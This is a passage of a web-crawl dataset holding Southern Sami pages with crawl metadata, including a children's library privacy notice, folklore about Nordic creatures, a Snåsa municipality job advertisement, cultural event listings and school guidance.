\"Tjaaleme + maanan aliasnomme\". Aellieh gåessie gænnah maanan rïektes nommem tjaelieh.\nJïjtje utnije learoehkasse skuvletïjjesne\nJis sïjhth fïerhten maana edtja jïjtje kontom skuvletïjjesne utnedh dellie maana dam tjuara tseegkedh sov åelie-almetji ektine. Dam tjuerieh darjodh seamma sijjesne gusnie daatorem, tellefovnem jallh paddam utnieh jïh internehtem.\nJis dov leah gyhtjelassh? Seedth mijjen sæjjan govlehtallemegoerine.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.polarbibblo.se\/sma-se\/utnije-jih-njoelkedassh\/","date":"2021-12-09T01:40:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363641.20\/warc\/CC-MAIN-20211209000407-20211209030407-00291.warc.gz","language":"sma","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000053644180298}","num_words":1009,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"«Mov maana aalka rætnoe soptsestidh. Aellieh vuertieh vuejnieh» lea bïevnesetjaalege eejhtegidie jïh åeliealmetjidie maanide mah joekehts fåantoej gaavhtan eah soptsesgïelem utnieh goh sijjen buektemevuekie. Såemies tsiehkiej gaavhtan mejgujmie reakadamme maanah aelkieh seenhte soptsestidh, jeatjebh plarhkestieh, jïh såemies maanah eah funksjonelle soptsesgïelem evtedh. Daate lea maanah mah jienebh såarhts diagnovsh utnieh. Aaj maanah mah eah åehpies diagnovsem utnieh maehtieh tsagkesh soptsesgïeline utnedh. Maanah, noere jïh geerve almetjh maehtieh sijjen soptsestimmiemaahtoem dassedh skïemtjelassen jallh ovlahkoen gaavhtan.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.statped.no\/laringsressurser\/ask\/ask-samisk\/mov-maana-aalka--ratnoe-soptsestidh-aellieh-vuertieh-vuejnieh-mattasamegilliisorsamisk\/","date":"2022-01-20T13:45:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301863.7\/warc\/CC-MAIN-20220120130236-20220120160236-00134.warc.gz","language":"sma","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.0000075101852417}","num_words":74,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaadtasovvemejaepie\n2018\nGiele\nISBN\n978-82-93402-27-5\nFormaate\nSïejhme gærja\nReakta-aajhtere\nAnnukka Aikio, Samuli Aikio, Mika Launis\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n24\nAamhtesh\nGærja \"Jenta som ble til ei gulland\" saemien jarkoestovveme.\n\"Gullie-tjååtsele\" båeries saemien åålmeh-vaajese. Daate soptsese buerien jïh vestiesvoeten bïjre, tjoevken, sjuevnjeden, rïektes jïh faelskies almetji bïjre. Maanagærjan stoerre guvvieh. Vaajesen deahpadimmie guektien nyjsenæjjese veadtaldahkesne, Njaevies-eatnan jïh Hatsves-eatnan gïeh buerien jïh vestiesvoeten maadtoe. Soptsesen jïjtjehke dalvese jis lea Njaevies-ietnien nïejte, guktie soptsese jeenjemes sov bïjre.\nGærja gååvnese noerhte-, julev-, enaaresaemien-, jïh daaroengïelesne, dovne badth digitaalegærjine Nasjonalbiblioteeken nehtesæjrosne. Maahtah tjoejegærjam goltelidh jïh gærjese lea åarjelsaemien-daaroen baakoelæstoe dorjeldh.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ovttas.no\/sma\/girji_gullie-tjaatsele","date":"2022-01-21T11:07:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303356.40\/warc\/CC-MAIN-20220121101528-20220121131528-00423.warc.gz","language":"sma","language_score":0.9999101162,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999101161956787}","num_words":96,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Webbesijjie gellien aejkien bïevnesh dov bïjre spååroeh maam sajtesne provhkoe. Vihkeles dellie daejredh maam webbesijjie spååroe jïh maam dejnie dorje. Mijjieh Polarbibblosne bïevnesh dov persovnen bïjre gïetedibie akten öörnegen mietie mij daatah vaarjele dataskyddsförordningen (GDPR). Ibie gåessie gænnah dov bïevnesh gïese jeatjabasse vedtebe!\nDaesnie maahtah lohkedh mij bïevnesidie Polarbibblo dov bïjre spååreme:\nNommehth\nJis sijjiem nommehth provhkh jïh aamhtesh seedth namhtah utnije ibie naan bïevnesh dov bïjre spåårebe. Ij naan mijjen redaktöörijste jallh jeatjah maanah sajtesne daejrieh gie datne jallh mij dov nomme.\nUtnije\nJis utnijem tseegkh mejladressem spåårebe maam mijjese vadteme. Aaj spåårebe jis nuerebe 13 jaepeste jallh ij. Gaajhkh aamhtesh mah seedth dov mejladressese dibrehtovvieh, dannasinie dïhte dov mejladresse vihkeles. Dïhte dov identiteete Polarbibblosne. Barre åejvieredaktööre gie dov mejladressem maahta vuejnedh jïh mejtie 13 jaepien båeries jallh ij. Dah redaktöörh gïeh aamhtesh gïehtjedieh jïh jeatjah maanah sajtesne barre dov utnijenommem maehtieh vuejnedh maam veeljih gosse dov utnijem tseegkih. Dov mejladressem sliejhtesåvva easkah gosse jïjtje veeljh dam dov kontom orrijidh.\nGærja- jïh plaerievuerpie\nGosse datne mij utnijem åtna sïjhth meatan Gærja- jïh plaerievuerpesne årrodh aaj dam dov rïektes nommen mietie gihtjebe, man båeries, dov adressem jïh påastenommerem dennie dov årromesijjesne. Dam darjoejibie jis maehtedh seedtedh dam maam vitneme jis vitnh. Dah bïevnesh barre redaktööre maahta vuejnedh gie Gærja- jïh plaerievuerpine barka. Guhkemes barre aktem askem dam spåårebe, gosse Gærja- jïh plaerievuerpesne våårpeme dejtie giejtie vitneme. Dan mænngan dov nommem, man båeries, adressem jïh årromesijjiem mijjen daatabaaseste sliejhtebe. Dov påastenommerem spåårebe guktie maehtedh statistihkem tjöönghkedh, men ij dïhte dov nommese dibrehtåvva jallh gie datne.\nJeatjah gaahtjemh jïh aktiviteeth\nGosse sjïere gaahtjemh jïh aktiviteeth kanne aaj bïevnesh dov bïjre daarpesjibie spååredh. Dellie spååresuvvieh gossege gaahtjeme jallh aktiviteete orrijamme. Dan mænngan sliejhtesuvvieh.\nAamhtesh jallh kontom sliejhtedh\nGåarede dovne aamhtesh jïh dov kontom sliejhtedh. Jïjtje maahtah aamhtesh maam spååreme sijjesne \"Mov bielieh\/Mina sidor\", rubrihkesne \"Spååreme aamhtesh\/Sparade bidrag\". Jis sïjhth aamhtesh maam seedteme jallh bæjhkoehtamme dellie tjoerh redaksjovnine govlehtidh. Dam darjoeh mijjen sijjesne govlehtallemegoerine.\nJis dov kontom sïjhth sliejhtedh tjoerh aaj redaksjovnine govlehtidh.\nAamhtesh maam seedtesovveme nommehth ij maehtieh sliejhtedh.\nBïevnesh åadtjodh maam Polarbibblo dov bïjre spååreme\nJis sïjhth daejredh magkerh bïevnesh Polarbibblo dov bïjre spååreme maahtah dan mietie gihtjedh. Govlehth mijjine mijjen goeren tjïrrh.\nCookies (kakor)\nPolarbibblo cookies provhkoe, dejtie aaj gohtje kakor. Akte cookies lea onne teekstefïjle mah webbesijjieh dov datovrisnie sijhtieh spååredh. Teekstefijlesne bïevnesh guktie webbesijjie buerebe jåhta.\nProvhkebe dagkerem maam gohtje sessionskaka. Dïhte haajpene gosse datovrem jallh webbelohkijem jamhkah.\nIj naan bïevnesh mah vuesiehtieh gie datne\nIj leah mijjen cookiesisnie naan bïevnesh gååvnesieh mij maahta vuesiehtidh gie datne jallh naan jeatjah sjïere almetje. Ij gænnah naan vijrush desnie gååvnesieh jïh ij naan jeatjah bïevnesh maahta sliejhtedh dov daatorisnie.\nJamhkedh cookies\nJis ih sïjhth Polarbibblo edtja cookies provhkedh maahtah dam funksjovnem jamhkedh dennie dov webbelohkijisnie maam provhkh. Dam darjoeh dennie sijjesne gusnie webbelohkijen tjïrkesvoetem gïetedh. Dellie maahta geervebe sjïdtedh webbesijjiem provhkedh enn maam datne vaane darjodh.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.polarbibblo.se\/sma-se\/gdpr\/","date":"2022-05-23T01:12:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662552994.41\/warc\/CC-MAIN-20220523011006-20220523041006-00745.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":473,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Voejkenh\nVearten lij ånnetji vielie magijen åvteli. Dellie lin mystijen voejkenh mijjen veartanisnie. Dah jieliejin mijjen baalte. Dïhte hijven onn'ohtje daejredh man bïjre jïh maam maahta gaavnedidh. Daesnie naaken dejstie.\nVittra\nDah unnebe mijjeste, jïh jåartam sjïdtehtehtieh. Vittra dan jielemem jeala seamma goh sïejhme almetje. Dah utnieh govsh, gaajhtsh, sïrvh jïh hierkieh. Govsh vååjnoeh goh veelkes vaeriegovsh. Dah jïjnje mielhkiem vedtieh. Jis nejpiem hajka vitterjuvren bijjelen dellie juvrem åådtje.\nVittra daamtaj stoerre gierkien nuelesne årroeminie jallh guelpien nuelesne staellesne jallh fievsesne (dellie dah desnie joe årroejin åvteli gåetiem bigki). Dah maehtieh aaj feabpoerisnie årrodh daelvien. Fuelhkie ektesne årroeminie jïh dah leah dan musikaaleles.\nSkåajjeråe\nAkte råe eejnegen vååjnoes oktegh. Daamtaj vuesehte goh stoerre, tjaebpies nïejte guhkies voepth jïh föörhkeden njaelmie, skåajjekruana vaarjoejgujmie. Skåajjeråe kaarrh eahtsa.\nNorrlandesne skåajjeråe åtna bååvteres vueliekråahpem. Gaskesveerjesne dïhte riepiesïejpem åtna jïh Åarjelsveerjesne dïhte åtna guhpeme rudtjem jïh nollele almetjh tjaajanieh. Dellie tjuara varki jagkam marngedh dellie bååstide gåatan gaavnedh.\nSkåajjeråe tjïrrebuelijh gååske gïeh åarajamme jïh vïjrijh viehkehte maam lyjhkoe vïjrh åadtjodh. Jis datne dov nommem sutnjien jeahtah dellie dïhte åådtje faamoem dov bïjre.\nTomte\nTomte lea ohtje gobpe kraevies vaarjoejgujmie jïh rööpses tjohpe, mij staellesne jïh fievsesne orre. Mubpie nomme lea gaerteneråe. Jis buerie bïevsterisnie dellie dïhte gaertenen juvrh håksa, jis ij maahta dejtie skaaredh.\nDaajra dov lea tomte fievsesne jis juvrh murriedieh jïh desnie raajnes jïh sööpeme. Maahta aaj gaavnedh baarkaldahkh hierkien voeptesne aereden. Tomtebaarkaldahkh hierkien voeptesne ij edtjh loevenidh dellie maam akt båajhtoeh deahpede.\nMaahta gïerve årrodh tomtem åadtjodh vuejnedh. Dïhte jïjjesne barka, biejjieguakesne dellie tomte sjædta goh myövhkes lårhvoem.\nIj edtjh suejnielaaroeh jallh vetsmiesaalvoeh giesien döömedh juktie tomte suejniem daarpesje lïegkedidh jïh vetsmieh edtja byöpmedidh.\nBjæra\nBjæra lea ohtje kraevies nårretje mij jårra jïh mielhkiem ohtsedidh. Dïhte kraanan fievsese jårra, njamma mielhkiem govsijste jïh bååstide gåatan viht jårra jïh mielhkiem tjullie sov aajhteren mielhkiebæhtose. Bjæran sjïere lihtiem mij oksen duekesne pråvhka årrodh jïh fealloem bijj'bielesne mesnie bjæra maahta bæjjese jårredh. Bjæra maahta gaajhkem skååffedh mohte ij saalmegærjah.\nJis sæjhta bjæram dabpanidh, maahta doelteme tjaetsiem dan nïlle gurkedh. Jis sæjhta daejrieh gie bjæran aajhtere lea edtja bjæran bajhkem bueledh kroessegeajnosne duarstan jïjjen gosse skeerije-aske. Dållem dorje uktsie ovmessie såarhth moerijste. Dellie aajhtere båata roehten jïh sæjhta bjæran bajhkem dålleste kroehkedh.\nDarjoeh dov jïjtje bjæram\nIngredienserh:\n9 ovmessie såarhth laejkieh dorjeme 9 ovmessieh såarhth voeptijste.\n9 tjirrh 9 ovmessie såarhth moerijste\nbaetsemh gærhkoebeallojste\n1 oblaate maam tjulleme\nskyllemevijne\n3 trahpenassh vïrreste\nEdtja dam darjodh saunesne golme duarstajïjjine.\nButnieh dusnie dah uktsie ovmessie laejkieh dejstie uktsie ovmessie voeptijste. Gårroeh laejkiem dej uktsie ovmessie tjïrrebæhtoej bïjre.\nBleenth baetsemh gærhkoebeallojste jïh oblaatem, maam tjulleme skyllemisnie.\nMinngemes duarstaiehkeden gurkh skyllemevijnem nårrose.\nDan mænngan tjoehph saejriem garrah ohtjesoermese. Gåajhkohth golme trahpenassh nårrose jïh lohkh daam:\n\"Jis datne munnjien jåartesne gïesh jïh roehtesth, edtjem mannem dutnjien vöölehtjisnie bueledh.\"\nHajkh dan mænngan nårroem dov garrahåelkien bijjelen.\nDellie bjæra jieledem åådtje jïh gihtjie:\n\"Maam galkem giesedh?\"\nVaestedh dellie maam vaajtelh, v.g.:\n\"Vuastam jïh mielhkiem jïh gaajhkem maam maahtah vaeltedh!\"\nVarsnöölhke jallh varbeere\n(var båata baakoste verr, båarasåbpoe baakoe ålma, almetje)\nÅngermanlandesne lij Varbeere sïejhmebe enn Varsnöölhkh. Dïhte lij dan gaavhtan mijjen luvnie lij stoerre aajtoe juvride lij beere, ij snöölhke. Beere lij aaj aejlies juvre saemiej luvnie jïh meehti jïjnje magihken voeth utnedh. Varbeere lij almetji mij maahta beerese jorkesidh, jis sæjhta jallh jis ij sïjhth.\nSjædta varbeerem tråallavoeten tjïrrh. Maahtah gujht jïjtje jorkesidh jallh kaanne naan mubpie almetje dam dutnjien hajka.","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/nolavonda.se\/sma\/voejkenh","date":"2022-05-29T02:39:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663035797.93\/warc\/CC-MAIN-20220529011010-20220529041010-00020.warc.gz","language":"sma","language_score":0.9999945164,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999945163726807}","num_words":553,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3 X 100 % faagebarkije sujhtemisnie jïh hoksesne\n- 100 % ihkuve skiemtjegåetesne\n- 100 % ihkuve, vikaarepoolbarkoe skïemtjegåetesne\n- 100 % vikaarebarkoe hïejmedïenesjisnie daan biejjien raejeste skïereden 2023 raajan. (50 % hïejmedïenesje jïh 50 % praktihkeles viehkie).\nSujhteme- jïh hoksedïenesje jeereldihkie laavenjassh jïh utnijh faalehte. Ij leah naan aaltereraaste mijjen dïenesjh dåastodh. Dïenesje lea ahkedh evtiedimmesne jïh sjïdtedimmesne, jïh destie aaj orrestamme daajroem reeblebe. Dellie daerpies jarkelimmine jïh destie mijjieh kreatijve, faageles veaksehks jïh mavvas meatanbarkijh åadtjobe. Mijjieh datnem ohtsebe mij sæjhta meatan årrodh båetijen aejkien sïjse barkedh gusnie dovne tryjjesvoeteteknologije\/haalvemeteknologije jïh aarkebiejjien rehabiliteereme leah jarngesne. Jeereldihkie laavenjassh. Daerpies jïjtjeraarehke barkedh seamma tïjjen goh jienebh dejstie laavenjassijste lïhke laavenjostosne meatanbarkijigujmie dorjesuvvieh.\nMijjieh daelie healsoefaagebarkijh ohtsebe mah edtjieh skïemtjegåetesne jïh hïejmedïenesjisnie barkedh, jïh ohtsijh tjuerieh ryöjreldihkie årrodh gåabpegen goevtesisnie barkedh dan daerpies maahtoen mietie.\nDaelie turnusem 2 bieline juakeme, barkojne fïerhten 3. hïeljen.\nLaavenjassh:\n- Ahkedh utnijh jïh dej lïhke fuelhkiem dåarjoehtidh\n- Meatan årrodh dam faageles kvaliteetem dïenesjisnie evtiedidh\n- Barkoeguejmieh\/studeenth\/learohkh bïhkedidh\nKvalifikasjovnh:\n- Jååhkesjamme autorisasjovne goh healsoefaagebarkije\/hoksebarkije\/viehkiesåjhtere\n- Hijven IKT-daajroeh\n- Væjkele laavenjostedh jïh gaskesadtedh maaje dååjrehtimmine faagi dåaresth laavenjostoste\n- Skraejriem åtna almetjigujmie barkedh jïh ïedtjem åtna faageste\n- Barkoevyljehke jïh haestemh lyjhkoe\n- Fleksibiliteete barkoesijjien jïh barkoetïjjen bïjre\n- Væjkele jorkesidh\n- Vuejemeleahpa bïjlese\nPersovneles sjiehtelesvoete sæjhta vihkele årrodh.\nMijjieh faalehtibie:\n- Hijven jïh gieltege barkoebyjrese mij evtiedimmiem jarngesne åtna\n- Jeereldihkie barkoelaavenjassh\n- Hijven lïerehtimmie\n- Baalhka sentraale baalhka- jïh barkoeregulativen mietie\nBaalhka kvalifikasjovni jïh latjkoen mietie. Vielie bïevnesh barkoen bïjre åadtjoeh jis skïemtjegåetien goevteseåvtehkinie soptsesth; Ann Elin Øverli 990 18 604, Anne Hanem 482 29478.\nGoh guektiengïeleldh tjïelte Snåasen tjïelte aaj sæjhta almetjh dåårrehtidh åarjelsaemien gïele- jïh kultuvremaahtojne. Jis nyjsenæjjah jïh ålmah seamma maahtoem utnieh sïjhtebe veeljedh dam tjoelem mij unnebelåhkosne.\nTjoerh ohtsemisnie bievnedh mejtie sïjhth jeatjah barkoeh ohtsedh dastegh sisnjelds jarkelimmieh sjædta.\nOhtsememierie: 16.05.22\n____________________________________________________________\n3 X 100 % Fagarbeider i pleie og omsorg\n- 100 % fast ved sykeheimen\n- 100 % fast, vikarpoolstilling ved sykeheimen\n- 100 % vikarstilling i hjemmetjenesten fra d.d september 2023. (50 % hjemmetjeneste og 50 % praktisk bistand).\nPleie og omsorgstjenesten byr på mange varierte oppgaver og brukere. Det finnes ingen aldersgrense for å motta våre tjenester. Tjenesten er i konstant utvikling og vekst, og det bidrar til å holde oss oppdaterte. Det forutsetter endringsvilje og bidrar til kreative, faglig sterke og modige medarbeidere. Vi ser etter deg som vil være med å jobbe inn i framtiden hvor både velferdsteknologi\/mestringsteknologi og hverdagsrehabilitering står i fokus. Arbeidsoppgavene er varierte. Det kreves selvstendighet samtidig som mange av oppgavene skjer i nært samarbeid med medarbeiderne.\nVi søker nå etter helsefagarbeidere som skal jobbe ved sykeheimen og hjemmetjenesten, og søkere må være forbedret på å jobbe ved begge avdelinger ut fra hvor kompetansen trengs.\nPr tiden er det 2-delt turnus med arbeid 3. hver helg.\nOppgaver:\n- Kontinuerlig oppfølging av brukere og deres pårørende\n- Være med på å utvikle den faglige kvaliteten på tjenesten\n- Veilede kollegaer\/studenter\/elever\nKvalifikasjoner:\n- Godkjent autorisasjon som helsefagarbeider\/omsorgsarbeider\/hjelpepleier\n- Gode IKT-kunnskaper\n- Gode samarbeids- og kommunikasjonsevner gjerne med erfaring fra tverrfaglig samarbeid\n- Motivert for å jobbe med mennesker og engasjert i faget\n- Stå på vilje og glad i utfordringer\n- Fleksibilitet i forhold til arbeidssted og arbeidstid\n- Omstillingsdyktig\n- Førerkort for personbil\nPersonlig egnethet vil bli vektlagt.\nVi tilbyr:\n- Et godt og spennende arbeidsmiljø med fokus på utvikling\n- Varierte arbeidsoppgaver\n- God opplæring\n- Lønn etter sentralt lønns- og stillingsregulativ\nLønn etter kvalifikasjoner og avtale. Nærmere opplysninger om stillingen fås ved henvendelse til avdelingsleder sykeheimen; Ann Elin Øverli 990 18 604 og avdelingsleder hjemmetjenesten; Anne Hanem tlf 482 29 478.\nSom tospråklig kommune ønsker Snåsa kommune også å rekruttere inn personer med sørsamisk språk og kulturkompetanse. Under ellers like vilkår vil underrepresentert kjønn bli foretrukket.\nDet må opplyses i søknaden om du ønsker søke på andre stillinger tilfelle interne rokeringer.\nSøknadsfrist: 16.05.22","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.snasa.kommune.no\/tjenester\/ledige-stillinger\/3-x-100-fagarbeider-i-pleie-og-omsorg.12186.aspx","date":"2022-05-20T03:41:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662531352.50\/warc\/CC-MAIN-20220520030533-20220520060533-00761.warc.gz","language":"sma","language_score":0.9565812945,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9565812945365906, \"nob_Latn_score\": 0.030566003173589706, \"sme_Latn_score\": 0.012100311927497387}","num_words":562,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.188,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":0.968,"perplexity_score":500.0,"cluster_detection":1} +{"text":"B U E R I E B Å E T E M E | B U R E S B O A H T I N | B U O R I S B OA H T E M B U R I S T B Å H T E M | B U E R E S T B Å H T I E M E | VÄ L KO M M E N MARJA SKUM LOHKEHTALLA DÆJSTAN 26\/10 TS. 19:00 AARBORTESNE, FJELLFOLKETS HUS MARJA SKUM LOHKEHTALLA DÆJSTAN 26\/10 TS. 19:00 …\nMij daelie?\nMARJA SKUM MÅANTAN «Guktie aerpiemaahtoem lohkehtimmesne utnedh» GOLKEN 25.BIEJJIEN TS.18.00 MARJA SKUM LOHKEHTALLA: «Guktie aerpiemaahtoem lohkehtimmesne utnedh» AARBORTESNE, SIJTI JARNGE BUERIE BÅETEME GAAJHKESH DOVNESH MÅANTAN 25.10.2021\nDan workshopen ulmie jienebh skreejrehtidh aelkedh saemien tjaeledh guktie nimhtie jearsoes jïh væjkeles tjaelijinie sjïdtijibie. Daarpesjibie vielie tjaelijh gïeh leah mealtan gïelem evtiedieh jïh hammoedieh. Programmem daerpiesvoeti jïh vaajtelassi mietie hammoehtibie. Gieltegs aamhtesh leah kaanne guktie baakoegærjam nuhtedh, ....\nGåessie: Golken 13.-15 biejjiej, 2021 Gusnie: Aarborten hotellesne, Hattfjelldal Sïjhth wworkshopesne mealtan årrodh? Daate workshop lea dutnjien gïe tjaalah jallh sïjhth åarjelsaemien tjaeledh barkosne, eejehtimmmesne jallh lohkehtimmesne. Tjïelth Aarborte, Raavrvihke, Snåase jïh Plasssje leah mealtan gïelereeremedajvesne..\nInger Blix Kvammen TUNDRA ARCHIVES snjaltjen 6. biejjeste gaagkes-asken 10.beajjan 2021 vuasahtalla. Inger Blix Kvammen sov fealadimmijste noerhte Russlaanteste, Nenets Autonome Ukrugeste vuesehte. Prosjekte lea jeenemes aalkoeåålmehkultuvri bïjre, ovmessie kultuvrh mah gaavnedieh, johtehtjadtemen jïh kultuvrelåtnoehtimmiej bïjre.\nFra høsten tilbys sørsamisk nybegynnerkurs for voksne som deltidsstudie i Sijti Jarnge, samisk språk- og kultursenter i Hattfjelldal. Dette studiet er beregnet for deg som verken kan snakke eller skrive samisk, men vil lære språket fra grunnen av. Studiet er utviklet av Samisk høgskole og …\nBuerie båeteme digitaale konsertese gusnie Marja Mortensson joejkeste\/lååvle! Seminaaren åvtelen, aalkoeåålmehtjeahpoej jïh modernismen bïjre, namhtah konsertem faalijibie seamma svaalhtesisnie. Buerie båeteme! https:\/\/zoom.us\/j\/95420489371\nMijjieh aktese vyökijibie Sámi Dáidaguovddaš\/Samisk senterinie dam seminaarem öörnedh. Vuep! Mijjieh digitaale konsertese, gusnie Marja Mortensson joejkeste\/lååvle böörijibie! KOnserte aalka 17.15 stamma svaalhtesisnie. Buerie båeteme!\nSïjti Jarnge fïerhten biejjien gaahpan ts. 12.00-15.00\nBuerie båeteme soptsestallemasse gusnie Saemiedigkien politihke krirrieh edtjieh soptsestidh magkeres nïekedassh, ulmieh jïh soejkesjh sijjen leah åarjelsaemien dajvese. Suehpeden 19.b ts. 18.00-19.30.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/sijtijarnge.no\/sor\/category\/aktuelt\/page\/3\/","date":"2022-07-03T04:42:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104215790.65\/warc\/CC-MAIN-20220703043548-20220703073548-00161.warc.gz","language":"sma","language_score":0.997471571,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9974715709686279}","num_words":335,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaangemesijjie Angsjö – parhken påarhte\nJis datne baalkan mietie vaadtsah dellie lea 200 jaepien båeries beetsehken sisnie gusnie aavroeh, prïennedahke.\nVásádusá birra\nTjaangemesæjjan Angsjö maahtah bïjlem tjöödtjestidh jïh dan medtie 300 meteerh guhkies baalkan mietie vaedtsedh nasjonaaleparhketsïeglese: gullienaestie.\nItjmies moerehammoedimmie\nDah bigkemh leah bigkeme eatnemen mietie. Baalka, skïltesijjie, dïenesjegåetie jïh lïegkedimmiesijjie leah moerijste Norrlaanteste.\nSkåajje Björnlanden nasjonaaleparhkesne lea gellien aejkien bualeme. Jïh desnie prïennedahkh. Dan gaavhtan libie biehkide baalkeste dïervesjamme. Dervie lea itjmies impregneereme båeries moerine, sjïere gusnie skåjje båeries.\n- Ájgge\n-\nÅlles jagev\n-","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/sverigesnationalparker.se\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/Upplevelser\/tjaangemesijjie-angsjo--parhken-paarhte\/","date":"2022-06-26T20:50:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271864.14\/warc\/CC-MAIN-20220626192142-20220626222142-00688.warc.gz","language":"sma","language_score":0.9999845028,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999845027923584}","num_words":80,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse 10. daltesem illeme maadthskuvlesne, dov lea reakta jåarhkelïerehtimmiem vaeltedh.\n- Datne tjoerh jïjtje sijjien bïjre syökedh jåarhkelïerehtæmman.\n- Datne golme ööhpehtimmieprogrammh dov ohtsemisnie tjaalah.\n- Datne akten dejstie golme ööhpehtimmieprogrammijste sïjse båatah mejtie jeenjemes sjaavnjoehtih.\nMaam ööhpehtimmieprogrammide edtjh veeljedh?\nJåarhkelïerehtimmesne 15 joekehts ööhpehtimmieprogrammh mej gaskem maahta veeljedh.Ööhpehtimmieprogrammh lïerehtimmieh joekehts faagesuerkiej sisnjeli feerhmieh, vuesiehtimmien gaavhtan gaarsjelimmiefaage, elektro jïh daatateknologije jïh eatnemeåtnoe. Datne tjoerh gaavnedh mah ööhpehtimmieprogrammh mah dutnjien sjiehtieh jïh dov ïedtji mietie.\nStudijeryöjreden jallh barkoefaageles lïerehtimmie?\nMijjieh studijeryöjreden jïh barkoefaageles ööhpehtimmieprogrammen gaskem juekebe.\n- Datne aervedh datne sïjhth jåerhkedh jïlleskuvlesne jallh universiteetesne lohkedh? Studijeryöjreden lïerehtimmie datnem jïllebe ööhpehtæmman ryöjrehte. 5 studijryöjreden ööhpehtimmieprogrammh.\n- Praktihkeles barkoem sïjhth jåarhkelïerehtimmien mænngan? Barkoefaageles lïerehtimmie dutnjien barkoemaahtoem vadta guktie maahtah barkoejieleden sïjse vaedtsedh. 10 barkoefaageles ööhpehtimmieprogrammh.\n- Jis barkoefaagh veeljh, dov lea aaj nuepie jåarhkelïerehtimmiem åadtjodh jïh studijemaahtoem åadtjodh mænngan datne barkoelïerehtimmiem illeme jïh BESTÅTT:\nLeah jueriedisnie maam edtjh veeljedh?\n- Soptsesth ööhpehtimmie- jïh barkoeraeriestæjjine dov skuvlesne mah ööhpehtimmieprogrammh mah bööremes dutnjien sjiehtieh.\n- Jienebh viehkiedïrregh Gaskeviermesne gååvnesieh gusnie maahtah dov ïedtjh goerehtalledh. Pryövh maaje laavenjasside «Mij maahta dutnjien sjïehtedh?», datne dejstie gaavnh daesnie vilbli.no:n åvtesæjroe. Dah maehtieh dutnjien ohtje raeriem vedtedh mah ööhpehtimmieprogrammh datne maahtah aelkedh goerehtidh.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/mij-jaarhkelierehtimmie\/a\/032639","date":"2022-08-16T06:38:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572221.38\/warc\/CC-MAIN-20220816060335-20220816090335-00073.warc.gz","language":"sma","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000008225440979}","num_words":182,"character_repetition_ratio":0.142,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} 